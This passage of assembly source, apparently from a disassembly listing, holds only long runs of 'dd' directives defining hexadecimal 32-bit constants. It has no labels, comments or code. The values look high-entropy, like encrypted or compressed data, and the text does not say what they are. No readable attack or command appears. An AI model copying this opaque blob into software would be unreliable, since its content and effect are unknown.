		dd 0DAC7B87Eh, 653829F9h, 1E043FAEh, 1CAB1E6Eh,	14D4C834h
		dd 0B497408Fh, 0C24CF0D8h, 79E36978h, 270F36F7h, 0B4CC8986h
		dd 97661E03h, 0E6B783FFh, 0DFBBA6C4h, 0DEAF10A0h, 0F5473214h
		dd 0D59DFD3Eh, 0D1F23358h, 0CF4B8C92h, 4A2C2543h, 0A78308ABh
		dd 0C29355B6h, 8280284Ch, 726533B2h, 7B2994CEh,	74468CC9h
		dd 4A72A763h, 0F7866592h, 8FFFC8B8h, 0B9506AD5h, 551C0CD0h
		dd 7C361834h, 9ED139BCh, 0FF990C57h, 8236AEE0h,	67B0CD3Eh
		dd 43F016BFh, 39DBE167h, 91DEC4BBh, 80F5B4B5h, 20F1C70Ah
		dd 6D411A8Eh, 0E1F3E20Ah, 0B0CDDC52h, 0ED8C6C5Eh, 0F06B8BA5h
		dd 0C0DE9A3Eh, 0EA1F6D51h, 0D0086022h, 36C3ADAh, 193AE0C1h
		dd 713B9698h, 93684B61h, 0CB9CF1A2h, 0B735C4FDh, 7D06B357h
		dd 0DBD179DFh, 0E1FB7862h, 0EF65D70Fh, 431C906Eh, 0DAD727D7h
		dd 8F45BC95h, 0D9311761h, 88F96011h, 6B6613BDh,	3266E07Bh
		dd 0C1F77EA7h, 0E4DACFA4h, 0A75B08EAh, 0D00D9894h, 93D1CA57h
		dd 0DF4540DBh, 0F325D59Fh, 3B2D1B55h, 760B995Eh, 0D0913834h
		dd 87775D54h, 0A1B165DCh, 0EE7DDC1Ah, 92B4F090h, 5457B34Eh
		dd 6049E8C2h, 0CF152477h, 0BB4B7867h, 0B86DD724h, 0DF61C000h
		dd 98E4B7BCh, 8F63A5BFh, 0F6E9FEC3h, 74EDDC25h,	1C64A6E4h
		dd 0F80E024Ah, 0A4476D40h, 0CF64AF3Ah, 89C5CC0Dh, 0CCAC7E1Fh
		dd 37B73568h, 1A7ACC04h, 4C6FC814h, 0EEA072E0h,	558A48D8h
		dd 0C4EEB594h, 0CC081A99h, 8EA1A899h, 8ADE9B67h, 0B5B2831Dh
		dd 7309977Dh, 0CE0213E9h, 2A653C33h, 4B48B95Fh,	0E15BADDFh
		dd 77DFDAFCh, 40E054C5h, 7AF6FEC7h, 0ABD21201h,	33476587h
		dd 9F2F85Eh, 0B35A6437h, 19370E8Dh, 3C3E54F4h, 25BC11C6h
		dd 0BB276241h, 0C0B313BDh, 162E9813h, 0C61FE7E0h, 0F96D633Ah
		dd 3B9C1B81h, 0E4B636C9h, 3AA44C95h, 13B3DAB2h,	57CFBE89h
		dd 0D42E0F02h, 6AAE5C01h, 0F5413D69h, 0DB2E678Fh, 69750CB0h
		dd 0D7E28747h, 0F4B3470Dh, 75FA303Ch, 2F94A222h, 3E691C55h
		dd 90F259DEh, 5B80A1DBh, 0AA5DF80Fh, 0E524DF5Fh, 0E2F2D81Bh
		dd 0D4ED4BDDh, 6CBD6026h, 0F508E444h, 88463E50h, 0B4676B73h
		dd 27495B67h, 54521946h, 0BB1B0BFEh, 92E80BACh,	5B2C4E75h
		dd 4ED490B7h, 433AA25h,	9601D146h, 136747F8h, 783BF4EBh
		dd 0C706DFE5h, 0B9A3332Ah, 0DB2AE421h, 0FD099C4Ah, 0A9ECE0B8h
		dd 0C681AFEFh, 0A25D22D5h, 7DAD5E2Bh, 7DA088h, 6E2E4CD8h
		dd 0A11F5AF0h, 0FD6E0E61h, 0CDA40B07h, 5E17F566h, 4031A39Ah
		dd 0D9143F31h, 6C2D0050h, 83074A5Fh, 2EB8F993h,	94A7E8A7h
		dd 4CB78C0h, 0ED4FD94Ch, 393F8689h, 7B30D9F0h, 780285F2h
		dd 0A3925F86h, 0BDA0DCB6h, 882535F8h, 9EE190F9h, 1A49A7D2h
		dd 9D2F254Ah, 0C7865FB1h, 0CDC11024h, 12400F56h, 0B0389BB1h
		dd 32A42D88h, 616F8E57h, 2647BBEBh, 3BA71BD9h, 6A2C72DBh
		dd 0D70FEF72h, 9165676Ah, 2F392B82h, 0A0CA1830h, 5F978D6h
		dd 0C89BFD4Dh, 0F47A6042h, 7AE68DBCh, 56A4897Bh, 727A8E8Ah
		dd 8679F2C6h, 0D2D78F42h, 0F56F7CA8h, 0C9DF6B9Bh, 0A4B7EB7h
		dd 9C7F75D0h, 84B96BEEh, 0B4733FC5h, 0C9337B72h, 0E11AD1CBh
		dd 0FF7D647Bh, 0E9E4FFA1h, 0F3F79EE6h, 90558EF9h, 743486E9h
		dd 7BB0B678h, 931A0B1Bh, 0A6D3B4C2h, 0E234FA4Fh, 0A04DF76Dh
		dd 0D365E661h, 2A4C8DB7h, 62514537h, 8CFE8E11h,	1EA149C4h
		dd 342FAF92h, 42A3517Ah, 0A4CFBBBBh, 0AC351B4Dh, 5735BAF7h
		dd 0F3BFBBC7h, 9A8626D7h, 7D4695FCh, 81A757D5h,	0B208828Ah
		dd 15C749E8h, 0FCFF3C0Bh, 4F1813B8h, 777430Eh, 170ABAFCh
		dd 3A257E0h, 87506EB2h,	6B6188h, 0E806AD71h, 4C2E6F6Bh
		dd 248CC104h, 0C8016B5Bh, 5B6C625Fh, 9391AE9h, 0DCA3D6D9h
		dd 0E3290AF6h, 0B1F5FBB7h, 0D9B58B59h, 0DBFF0A38h, 34B7868Ah
		dd 0CA1CE41h, 1B7CCBC6h, 0C8DBF137h, 4FF8EA7Eh,	1014481Bh
		dd 0E7E7A526h, 393E7792h, 0B4ABCE37h, 0C3368FEDh, 8FBA57B6h
		dd 0E3F1E7E9h, 0FD32DD6Ah, 0D49C2AADh, 7F2B2395h, 538C6823h
		dd 793DFD4Eh, 9114EEB5h, 125B5707h, 57643580h, 22BA0588h
		dd 8E28CCB4h, 6D364747h, 7AE0BFDEh, 594C8D2Fh, 2AC64DAFh
		dd 0BEA56ACFh, 3E10E1EFh, 0CD4885E9h, 4AF3DE44h, 0E26AB70h
		dd 0AB7BFBC8h, 6A6A740Bh, 8541B443h, 0F839B1BCh, 0A41C2FCDh
		dd 74CB21Fh, 0E090A555h, 52312909h, 0EBDA0E5Dh,	0D7D9F3BCh
		dd 6D9CE192h, 88B7CAD4h, 83D55522h, 2CDD7E2Bh, 0BC51F8E1h
		dd 0D8313446h, 47344082h, 0F800BA0Fh, 0DB12DC57h, 5288CED5h
		dd 0B257996Dh, 7C695F78h, 1C0220Dh, 69BEFD6Ah, 0C25358FCh
		dd 0A2FCD020h, 6CB02415h, 0CA7A009h, 0CDD1A19Dh, 4C78B966h
		dd 3B3B065Ah, 9B576590h, 3E6605CFh, 6A4955B5h, 0E50AF951h
		dd 3D5EA53h, 2CB48C1Dh,	7DF8EE16h, 27D94DB6h, 0DB5FA97Bh
		dd 10FE5373h, 0E63E7008h, 613B0EF7h, 0B3935FF8h, 6579078Ah
		dd 0DCFE87Bh, 2F80EAD4h, 0D99FFF1Dh, 93F3DB5h, 515E202Ah
		dd 852152D0h, 831A607Fh, 3FFE22DCh, 5DBF4FA8h, 0A7C62AC9h
		dd 7D77F12Fh, 41F85D76h, 0A6B19CFEh, 9EAE32C3h,	0F5C441D1h
		dd 8A356E22h, 1813A597h, 0A557F7E2h, 5E13351Bh,	9D6DFBFFh
		dd 0ABFFEEDh, 8903F7E5h
		dd 0A4E72D03h, 0B753FE87h, 0C6179538h, 3762FB0Dh, 0FE876986h
		dd 66B028EBh, 0A9253646h, 828495A1h, 0C19C1F6Ch, 53333A27h
		dd 0ADD270EAh, 0E3D1707Eh, 0B4C9FBD2h, 75905360h, 88FD63A5h
		dd 99B02B9Eh, 81F3A00h,	4B418CFEh, 0E532C27Ch, 4FAB5C28h
		dd 3B188BC9h, 0A2BDC431h, 63F30AABh, 0AAEE0F42h, 0BB95CDEAh
		dd 36BE1D22h, 30BF8B98h, 74693B76h, 25954048h, 6672854Ah
		dd 56EAB84Dh, 4D5C55Fh,	396DB9C6h, 0F6C387F2h, 4DAE3DEFh
		dd 0B9B5101Ah, 0C156C2FEh, 0B050EBF4h, 343BB66h, 0F0269DDEh
		dd 30DE603Bh, 3B128408h, 99525DD1h, 1EDA38BEh, 0AF6421E5h
		dd 0B757B13Ch, 38C3A719h, 58BC5BF3h, 39EA2098h,	81A71364h
		dd 411FBC37h, 98A9AD95h, 46050FBCh, 0D7AA0A83h,	0B74F7AFFh
		dd 76134DFBh, 0C3B1C9CCh, 1CA3087Fh, 0C666D622h, 0A2E5BE5Fh
		dd 0B7AF8087h, 1D88CCBh, 0B9B15F8Ah, 0E426A81Ch, 0B68B3AA9h
		dd 0C62B8AD9h, 8AB596C9h, 23412F17h, 0BC0F56EDh, 10EBABE4h
		dd 0F944C0B0h, 0CEA24235h, 0A65CC0F5h, 4665B76Ah, 9FA809FEh
		dd 5231C9AFh, 0CE84B409h, 828191F5h, 0F29D9B9Dh, 3EAB5996h
		dd 2B6E4E34h, 9DC7A913h, 0F2378548h, 0A5B661C6h, 7C127790h
		dd 4BE5F847h, 24DEC1C7h, 72BA9B1Ah, 4C2DB7FFh, 6B75A8B1h
		dd 0D5CE492Ah, 7B97AD90h, 0FF2BD6E8h, 0C2E608Dh, 2D0AA13Ch
		dd 710C89B1h, 4C87125Bh, 0CF88A6B4h, 777E5163h,	5B452D9Bh
		dd 0CEFB7104h, 86C80B2h, 0A39B6285h, 8AE39CEFh,	0B5416C98h
		dd 49EC9CD6h, 4BD411CFh, 4239D431h, 0EAF8EB6Ah,	0C643187Eh
		dd 79719BEEh, 0E798D340h, 0BFF9F383h, 0E22D5765h, 0E27C5E28h
		dd 0A2D35AA3h, 0F082FA63h, 104D0A37h, 0DCF163C1h, 0FC2CBC7Bh
		dd 6FC32AFBh, 674DBF24h, 84E25E71h, 90949E24h, 0A853446Dh
		dd 8A1072E3h, 0F218FC2Dh, 78F17056h, 56A8766Eh,	7DED4A9Ah
		dd 0DD19B5C3h, 0AFDFA4C2h, 1B8E26A0h, 0AAB65555h, 6AB01AF7h
		dd 7F037E92h, 20498BD2h, 46AF7F06h, 0E7A2F167h,	0C290DD42h
		dd 8AD11379h, 21CC5DFCh, 7AD524D3h, 0E48A34D2h,	7B3B6B15h
		dd 0AD39BEB9h, 2AAF9D41h, 0F0C6BEF3h, 0BFA04DBBh, 0DB952538h
		dd 83FC4F01h, 0A2AAE0C0h, 41240811h, 6B50EB92h,	0E7B97CAFh
		dd 0FF86E180h, 4DCE176Fh, 6FC78FA8h, 88C5E5E6h,	2741DEDAh
		dd 49A2DA5Ch, 51455A2Ah, 22179A17h, 64AE2149h, 608319E5h
		dd 3830918Bh, 64A0D713h, 0FAD3CAEBh, 0BD0CEA3Bh, 41E074C2h
		dd 0AAFF10Ch, 7813602Bh, 112298F2h, 50BE4DA3h, 82A4E36Eh
		dd 9136235Fh, 196C7391h, 41DE730Bh, 119A20Fh, 0B3C9EE3h
		dd 27870C80h, 0F15574A2h, 3E452CCDh, 62F891C9h,	8C437555h
		dd 7EBFBFA2h, 0B7663874h, 0EF853D22h, 0E3017CB1h, 6FBD4F56h
		dd 1FF3D6C6h, 8AD19B31h, 28D2BBB8h, 96702FC9h, 0F81F3751h
		dd 0A2EEAA0Fh, 2FD73F18h, 0D534EFE9h, 9041E44h,	0B97A4EA7h
		dd 5E2E60Ch, 1C965941h,	6F15DC50h, 0A12E5E50h, 0BE4A17D2h
		dd 23999C26h, 0F1A23E2Fh, 4CFCFB1Ah, 0EB6916B8h, 70E5894h
		dd 8DD2EEFBh, 7BD5E092h, 0EA48259Ch, 41988F9h, 0FE860520h
		dd 8AF0E10Dh, 7536C6ADh, 77AFE163h, 328BCF3Dh, 220E9819h
		dd 0E0C356BCh, 0B986543Ch, 8D24EAA2h, 0ED33D1C8h, 0BAF4665Fh
		dd 0C4336F4Ch, 0F65C21C8h, 6A1E298Ch, 71A9D783h, 502C26Dh
		dd 1C46F1B2h, 92E4FE2Eh, 0A7955029h, 759DFB11h,	3E8FB786h
		dd 7F069238h, 0B28FD1ADh, 5492FCF4h, 902EFD6h, 0B3E41891h
		dd 38DE674Eh, 94A58F41h, 0C53F57D4h, 1D5D1240h,	22425F71h
		dd 7A3A4B38h, 197F008Ch, 8C78B30Fh, 0C070A68h, 0C6BE6F7Ah
		dd 0CB6320Eh, 8F6FED73h, 0E5E7222h, 0D18D0DC3h,	0A12B799Ch
		dd 0D3FA5E2Ah, 220073A0h, 1CD7E0D7h, 7C7DB576h,	0EF609C4h
		dd 2DD8510Eh, 5AD202A2h, 485E6B4Ah, 0A28BFD4Fh,	9443922Ch
		dd 6D23DAE7h, 4BFEB419h, 5F4289DAh, 2FF47A88h, 0A6F44BDEh
		dd 0F9D434BAh, 0D9E1200Ch, 0AEDF8E33h, 0ECA860FCh, 0E760DAA4h
		dd 0DB3D76DAh, 2C704CC8h, 0EBD15Dh, 0F1F550Bh, 6F9F7E87h
		dd 65068C17h, 9BBB9BFAh, 0C1A5515Bh, 656AB01Ah,	0D03181E9h
		dd 69ADBF12h, 40CCA6FFh, 0BA976B52h, 0A5209BABh, 370B1EEh
		dd 8411DB9Eh, 5010FCF1h, 14220687h, 8CCCBF3Dh, 680000DFh
		dd 0FEB5A36Ah, 0BEEDB028h, 70590E02h, 0B5D6534Ah, 95C595EBh
		dd 80A26E79h, 481808B0h, 8E625AA1h, 0DAFBF4Dh, 0B0DA5A02h
		dd 6BA991EDh, 28C6BCDDh, 1728DF9Ah, 2461AC7Fh, 241995D6h
		dd 8CABE108h, 20DADEB0h, 0E8CBBE15h, 0A7D17013h, 0E3EAF8C9h
		dd 3CBC78ABh, 0ACCC06EBh, 0EBFB4E11h, 27DF066Fh, 978A08CCh
		dd 2874E114h, 0BFCCE611h, 89838796h, 8A96C0FBh,	0D1888E35h
		dd 0B9094C10h, 0C61AD950h, 0D2EAA0E4h, 4526742Fh, 530BFFE4h
		dd 2CCD531h, 818B5E7Bh,	6C499BA7h, 5B468DACh, 0C9A99D04h
		dd 0AE8ABECAh, 0BD7F98C2h, 0ECC68D0Fh, 4ECAA1CBh, 0FD22A1FCh
		dd 7D0F8AC5h, 0CF03CBE2h, 0F74BA43Eh, 0EF012E1Ch, 32D6E64Eh
		dd 57C75C2Ch, 7D0CCE00h, 1E8656FEh, 3BD473EBh, 0A983164Ah
		dd 5ACF4542h, 857290Ah,	0C9871462h, 5A4DAB39h, 764BBB2h
		dd 93871686h, 0C0F59492h, 1ABC3896h, 82EF9963h,	894952DAh
		dd 6CD62C2Dh, 0F3518BBFh, 453229C0h, 0DD40AA73h, 160E2331h
		dd 38369138h, 8FCB244Eh, 591AA36Ch, 0B0966E42h,	885BA03Ch
		dd 16E996C1h, 0EE6363DAh, 0C6F455D0h, 0DB5CB953h, 4DD22924h
		dd 9F8AE968h, 0E96FF582h, 92E36181h, 39BC8633h,	997F08DCh
		dd 79AB53E5h, 0E6BBE905h, 7BC459F6h, 0D16A2BB7h, 0BB36F39Ah
		dd 3DA9B79Ch, 0E3D697D8h, 0FECBA697h, 0C4B3665Bh, 0A8BC7B56h
		dd 0D1901BF1h, 1D7956DAh, 0E74C1AF5h, 0F7CE9B45h, 0A42E7FF7h
		dd 28702C8Fh, 0DC7D70D9h, 0F806D8E7h, 732E1E72h, 0F7B13465h
		dd 5C0A5F11h, 0CCF053D9h, 0A82DB55Eh, 8EEE7C85h, 24561E49h
		dd 0E7607AD6h, 3F19F8AAh, 0EE8D7DF7h, 6067525Bh, 0CDAFB276h
		dd 3EE45CA7h, 89DF5020h, 0CA8D9B8Bh, 7181485Bh,	0BB9C8F5Fh
		dd 2E1B2C8h, 494E02BAh,	0A82EE8D4h, 0E11A147Ah,	0D7120B9Bh
		dd 56D22AFDh, 0DA9AE188h, 0D6B1BA9Ah, 0B501374Bh, 0E7628AA5h
		dd 0EE977EA4h, 0D0404A57h, 8A7DF1h, 4C6152F4h, 0C489036Fh
		dd 2E629ED8h, 3FA2E30Dh, 4AC444E1h, 0CA7FBC00h,	85F1A411h
		dd 792424E6h, 60DC9223h, 7ED46756h, 237E44DFh, 1518C08Eh
		dd 0C0D91FDh, 0F2A242B4h, 27E52CA5h, 42480174h,	73EC8789h
		dd 612D16F9h, 450F1C4Dh, 0F94C1F1Bh, 1675602Dh,	4CAAD380h
		dd 1C818F33h, 3FCFB155h, 6C58ECAAh, 6BAFA125h, 641AA808h
		dd 0B7CE980Fh, 7E3180CCh, 0C69D2418h, 0B8DB97E1h, 0AC2DA781h
		dd 51B6E542h, 14F6AEA8h, 89AF03B0h, 73B956D9h, 3F799AE2h
		dd 0F2D8375Dh, 0FA3470E5h, 4CF20A12h, 3B9D66A1h, 61F84F29h
		dd 3DB4BA7Bh, 65A16B0Bh, 217A2C86h, 47B778CFh, 0FAB55385h
		dd 42DFE646h, 62CFE0EAh, 0F96CAEACh, 64BFB2D6h,	0E9707EE3h
		dd 0AA46A48Fh, 2ADE521Ch, 0A224C06Bh, 0BB1922C0h, 470249BFh
		dd 0AE29D0Bh, 0BCE71E42h, 307557A4h, 938AEA3Bh,	0CFF0848Bh
		dd 0AF814C0Bh, 0F8B7F24Ah, 0A7950711h, 0F6464605h, 1A38BEFAh
		dd 8D1F2E47h, 6B2C394Dh, 1795665Fh, 9D7A2C26h, 6A3D46E9h
		dd 0C8402D07h, 1932C255h, 7BCA1A1Ah, 610714A2h,	85616F8Bh
		dd 2E6F2DB9h, 87732AFBh, 0B1370837h, 3908C9Ah, 0BAE59DDBh
		dd 0D5ED2073h, 0DBA2CA95h
		dd 0B48B1657h, 4727EB3Eh, 22A26035h, 694E5933h,	527165ACh
		dd 0D9232991h, 32A85B1Eh, 0D5024F0h, 527E8849h,	4C694FB5h
		dd 44E54429h, 0EEE8E15Bh, 4A8BF308h, 0B7CB6D06h, 68D75117h
		dd 0F9D8660Dh, 8F912BACh, 5DA0B4C0h, 6FEA12E2h,	95FF751Ch
		dd 6E53D094h, 23678A9Eh, 82304FA3h, 0C60EF932h,	0E9445F3Dh
		dd 0D26846A2h, 3102B585h, 0BA45A2C6h, 4019FFD2h, 0FF3D9BC6h
		dd 0AFA2E31Fh, 47E429D1h, 0D6E8398h, 7540BC9Ah,	2D598AB3h
		dd 9C18CB7Ch, 1A7E3806h, 899A7FC3h, 499F13D9h, 6DD7C8D7h
		dd 9ED5A0BDh, 2C3F57D8h, 0B7A76968h, 5F7D6AB3h,	4C8C570Dh
		dd 0B45BB9B0h, 5D517CF0h, 2E963686h, 49A802B6h,	0C4BE3576h
		dd 0DCAF5536h, 0FF0ADB81h, 0EAA85ED0h, 0D8EDBE7Bh, 3A31D991h
		dd 56840782h, 0AF46C73Dh, 0E633AD6Bh, 4AAE7A51h, 6CE9C8ECh
		dd 0E7E0D234h, 85823EB7h, 7CF1B5CAh, 7C1A7FBEh,	4CF1D316h
		dd 8FE97A43h, 7F2E0488h, 8D8115BCh, 1CA31202h, 136568E7h
		dd 64D5F574h, 530957E7h, 0FAB3FA50h, 7C85C59Dh,	489487FCh
		dd 6E938786h, 61769991h, 0B8783C4Eh, 0B16E94F5h, 5EC577D3h
		dd 7D1B012Ch, 866D8190h, 40CF950Ch, 0D84E998Dh,	0DD4D943Ah
		dd 0C23EF214h, 0E3F1939h, 42A2D9E1h, 0BE5EEA05h, 0C788C5F8h
		dd 0C1AE3A5Dh, 5932655Ch, 50AC47E9h, 4F809FD7h,	4A62E354h
		dd 35CB3664h, 43B0EE1Dh, 175EE561h, 2E25C17Fh, 0E399C069h
		dd 0F747412Bh, 6933BDD4h, 6F566647h, 6CD61A54h,	0DFC0D322h
		dd 0DFCED90Bh, 6F010991h, 3AD722C2h, 2E3C963Dh,	7E4AAF73h
		dd 0E99D719Bh, 214B31E3h, 0AEA6B201h, 0DA68E01h, 19CC72Eh
		dd 81A40BF3h, 0FA4B91Ch, 5E8FF2C2h, 0EB12B6F0h,	0F0FABF4Dh
		dd 0B0F0B0BEh, 0AA374640h, 102EDDEFh, 723225E3h, 0DC5BBD14h
		dd 83475BBAh, 9DAB1683h, 0CD340D1Bh, 2AD54348h,	0D3B4580Fh
		dd 6D8EF543h, 3E9F52D0h, 0FA1EF6Ch, 0FECBDB77h,	0E614A426h
		dd 316A6B23h, 0ED3521CFh, 1365EBFAh, 9470A341h,	0E77553B2h
		dd 0CCB6D225h, 79E9A3B1h, 0B1B6F0B7h, 352E2794h, 1D6319Ah
		dd 6BC1183Ch, 0E2EAF3C9h, 0F80FA318h, 89BFB067h, 696BD53Ah
		dd 0ACF1046Eh, 31FFC48Bh, 896206B8h, 58E9F783h,	49AE707h
		dd 9D1D8B2Eh, 9D8D2414h, 6CCFC2ACh, 0E7AB4C67h,	0C76AF3BFh
		dd 1D42B7Eh, 31E150C6h,	0C477B9DCh, 0E08E5EBAh,	0AA7FCB53h
		dd 0EBFE5B88h, 891D2A9Eh, 0B220A14Eh, 0D890CA68h, 8C2FF5C0h
		dd 36998EB7h, 591C8819h, 0D795EC72h, 0A3127AA6h, 0EBBC1EFh
		dd 16798036h, 10999549h, 7727EE8Fh, 789EADC7h, 382CBC5Ch
		dd 1249F940h, 82AFEE3Dh, 0A6AEF316h, 1184C5B1h,	0BE59DA37h
		dd 4CEB9396h, 971B73FFh, 19674D8Bh, 0BAB579A0h,	2D67C564h
		dd 0DB739A8Ch, 1F7B7BA4h, 110D5199h, 1D5F1014h,	2CBDD73Ch
		dd 0AECD4B5Fh, 0BB8321Eh, 77C5001h, 0C34AE3A7h,	21D05D39h
		dd 5D1D9780h, 7A0560B5h, 534A1A30h, 0A53E0229h,	0B86DECAEh
		dd 55D68B14h, 0ECD47B65h, 15EF0A75h, 0CFBA297Ah, 811F0667h
		dd 114E8FBFh, 54EAC8F3h, 6EB9688h, 0CF7ABA20h, 9ABCBB1Dh
		dd 9DBB7316h, 0BC565567h, 8BB28DFAh, 9A0F4429h,	4751BB07h
		dd 98F249E9h, 0F6DB2A41h, 0F1785FF9h, 0D2C4D2C2h, 5BDF7B73h
		dd 0D3B03ADh, 0B5EEFADDh, 0FE0C8C15h, 0E336CB1Bh, 0C0BA9888h
		dd 0A97BCE60h, 9E9211B9h, 0B93C0219h, 527F3A52h, 44AA2FF7h
		dd 1563FC11h, 420733A0h, 1FB70CFDh, 0B5482E54h,	2A7657A9h
		dd 0A018E55Fh, 750A92E8h, 0ECFD7BF0h, 9FED7BCEh, 0A9CCFD55h
		dd 0EB725CBBh, 0DD3E69Ch, 0E67C2BB6h, 5B4907F8h, 469CC421h
		dd 764DA593h, 38FE7533h, 0E0D16F42h, 0FB7A1731h, 1CCF7CFh
		dd 6ED028CCh, 5111C8Ch,	41EF692Bh, 7EF0BCEEh, 89D973BCh
		dd 2626451Ah, 692C0509h, 0F648C9DDh, 0FD63FC40h, 0AEFD4B42h
		dd 5FDB9C13h, 11221F99h, 7CF84C0Fh, 5B31F9BAh, 0FF556CA0h
		dd 7E854784h, 89A6DCB3h, 7997FC39h, 0D37C902Fh,	0AF6659B5h
		dd 98C9696Ch, 0B17129A3h, 0DE8705CAh, 3D539983h, 0FEBD9828h
		dd 617E3528h, 0F1A364AFh, 5B1D4AC4h, 3754745Eh,	4AF25D52h
		dd 0F5EBFAE9h, 6D0631DAh, 0B9714E50h, 0C13767C5h, 8A949E1Eh
		dd 0AF08BAE5h, 5CFE2A8Ah, 0FBD5FEBDh, 0CA5F28h,	0E358E730h
		dd 0DF52D873h, 50A75DCh, 3FE6DD29h, 0B9359912h,	0D02E907Ah
		dd 56D46718h, 0DE7D8F71h, 2C132A1Eh, 0C4FB70D5h, 675634D9h
		dd 0E9107FA1h, 6E8F123Bh, 8C54B020h, 0DF969727h, 77420317h
		dd 0EE537784h, 65695D8Ch, 0E82F2011h, 0CC649F74h, 0A289CA62h
		dd 0DCF6F679h, 0E2F6F1A6h, 4BFA4153h, 4D1FD658h, 0D2A61481h
		dd 0FA946B61h, 5A17AD3Fh, 8E501F22h, 932AE1F0h,	801DAF2Fh
		dd 21E1F4FDh, 89B4B00Bh, 383B812Ch, 1B2F52A2h, 14BBF360h
		dd 1C5F8CECh, 172CC070h, 4ADB0538h, 0F9953EA8h,	94D24BADh
		dd 0AB383541h, 33C7ACDh, 3E2291BAh, 30A070FDh, 0A682C960h
		dd 2DD508E5h, 6C317AF2h, 4BCDAAB6h, 770CA77Dh, 0CA5C61FCh
		dd 0C7AD1356h, 0A52A47BCh, 433B3BD8h, 21DB905Fh, 0B8570289h
		dd 675AF781h, 6B1C81C0h, 74047954h, 0C694E629h,	0B69B0A3Eh
		dd 0A7908B4h, 0F9F6902Ch, 0A9CA678Ch, 548BF71Ch, 4AD43ABFh
		dd 0A1FC49Ch, 8568CE3Eh, 919B12CBh, 227AE5C3h, 914F1BB8h
		dd 46F73761h, 18A685A6h, 0D14BC908h, 2268FB81h,	31DC6FAh
		dd 0F75F6B75h, 62CFAB56h, 0A2DEA565h, 480DBA6h,	0AD3A24EFh
		dd 0AC2F08B8h, 2FE4F40Bh, 7848C42Dh, 0FDD539D1h, 23EED8E8h
		dd 57CF608Bh, 6465934Ch, 174C5EC8h, 0C6879021h,	0D27B37F1h
		dd 0A98617B3h, 72AF7291h, 0A549625Bh, 0BDD914F0h, 71597BFAh
		dd 0B0BEBFF1h, 32EDC99Eh, 4910EDC8h, 6F3EECE1h,	0D2467E00h
		dd 0AAF2E3BBh, 5C752D48h, 0F9EB1B6Ch, 644D4BE0h, 69BF077Ch
		dd 8A3B537Ah, 690998E4h, 0E7B37D99h, 7081A3F9h,	22A40863h
		dd 62FFE9D7h, 0C6D0FB6Ch, 0AC91F898h, 0CF0C00E7h, 62BCD0ACh
		dd 0C7C5B45Eh, 298ECDD9h, 3ADFDE83h, 60F9A1B0h,	0F3195CFCh
		dd 92AB6AF9h, 0BA9C1419h, 65BFD8BDh, 35293A44h,	0E27A63C8h
		dd 0FA064A21h, 76E86ACh, 8EA92216h, 6B6F0E8h, 0BCB2EBFCh
		dd 0E5C7AFBEh, 0D078F7AAh, 59F84DDCh, 32DB4146h, 180C2CD6h
		dd 0A749C371h, 996C833Fh, 0C66FAB5Ah, 6A351AC7h, 0B2102FBEh
		dd 334F2010h, 3B163420h, 0CD38B5B2h, 1D8C62E7h,	64D6A081h
		dd 995F2721h, 0F9B8C4F9h, 0B4E12D0h, 0A75DF22Bh, 0E760E11Eh
		dd 1EAD0C1Eh, 0BF08FF30h, 63C3DA01h, 13F16B5Eh,	608498DBh
		dd 4C55E306h, 4BB90636h, 0F8F17872h, 0E78C9E90h, 5D3C3C2Ah
		dd 70EA03F0h, 0C8FA69F4h, 7942E906h, 6D3DA89Ch,	0C6CFD73Bh
		dd 0C46E379h, 9EDDAF4Bh, 7748FEh, 9C0CC389h, 0E0B163DBh
		dd 58E7F9F5h, 868188D2h, 5C7D52F7h, 513A5409h, 8A989DEh
		dd 7F3D489Ch, 2625B4B8h, 67AED41Eh, 0E29C11F2h,	187E6067h
		dd 1B8BCE95h, 3D76B2E5h, 0C7827F08h, 5C2DB6FCh,	1D3D9643h
		dd 0F57CE96Bh, 0CE6AF9C9h, 6F1AFE1Bh, 0E156DCDFh, 5EB63912h
		dd 4EC06007h, 0B4B3F05Dh, 559EAD08h, 481D3C90h,	10221A38h
		dd 0E428252Eh, 6200EE62h, 10AE234Dh, 58203106h,	20255117h
		dd 6D9BB7BFh, 344C1F9Dh, 7A9D865Fh, 0F41EE9C7h,	4C204Ch
		dd 79A1BA6Fh, 0AADEC1C2h, 4A119444h, 0ED932B89h, 0A68BCF5Eh
		dd 0FC8C302Fh, 0BD19676Ch, 5D615853h, 0DBD953E3h, 2D29B5F0h
		dd 9F03D45Dh, 2142C027h
		dd 24BC3FBAh, 0F87910FEh, 6CF6E7F5h, 819248C5h,	6C31C2Eh
		dd 0AE693AEAh, 0FF52908Eh, 0C0F91EE9h, 2A7B44C8h, 3036544Dh
		dd 0E02A8CA6h, 8FF2F2EFh, 40EE6E9h, 0ACEA8998h,	0A237C702h
		dd 0DE4FE509h, 0A93AA163h, 17E1282Eh, 0E242CECAh, 29AC93F9h
		dd 646D58A5h, 97419508h, 6D817D5Ch, 0A024A674h,	0B3769E2Fh
		dd 935E2FDCh, 8B18785Fh, 7A807252h, 364FB630h, 9EB7A9B1h
		dd 19D19775h, 8DBA08DEh, 6698A553h, 8E0D694Eh, 0BD2FFD69h
		dd 0C6421EA3h, 0D9E9AF9Bh, 260AAD14h, 9D3A66C8h, 1F2692E0h
		dd 0C47B065Bh, 23FC7B2Bh, 1F60D82Dh, 2CD11C0Ah,	782B0F10h
		dd 0D28B1677h, 0EE7DDC46h, 32927A02h, 4C716751h, 46C76C6Dh
		dd 0AFECE5F7h, 0B3B1CCBBh, 4E88D17Eh, 2D407C18h, 4E6F91EDh
		dd 1F3729D9h, 6283748Fh, 3D395EAFh, 1D0672DCh, 0A97F77D2h
		dd 0D712A60Bh, 94708CFBh, 1CCF695Eh, 0B21EA6FAh, 70A70BD4h
		dd 0D768E238h, 0BE77FDADh, 578FA5F3h, 90E4573h,	3D425F82h
		dd 9791A40Eh, 23A8F5DEh, 0CF1B61B1h, 0A1F84974h, 85D37344h
		dd 0C09E638Fh, 811AA8DBh, 60E580D7h, 35FBCAD2h,	0B5E7E5B9h
		dd 0EEAEAFA3h, 0B8B5F21Ch, 25847362h, 9A630A6Dh, 70C999A2h
		dd 0FC059A60h, 1E7FD420h, 6BD548A9h, 0DE4346FCh, 0C9583FD4h
		dd 0ADC038CFh, 0A1B66881h, 0DABEDF17h, 3AEA870Ch, 8A834996h
		dd 1A096E34h, 94E5A1F1h, 28A2CB00h, 9A50BFFh, 0CC3C272Fh
		dd 853BAD73h, 4205A208h, 140ECDADh, 234465F3h, 78BFB4F3h
		dd 0AAC23135h, 0AC5B79h, 64A8CDCCh, 6DA5ADDAh, 0A08F05E8h
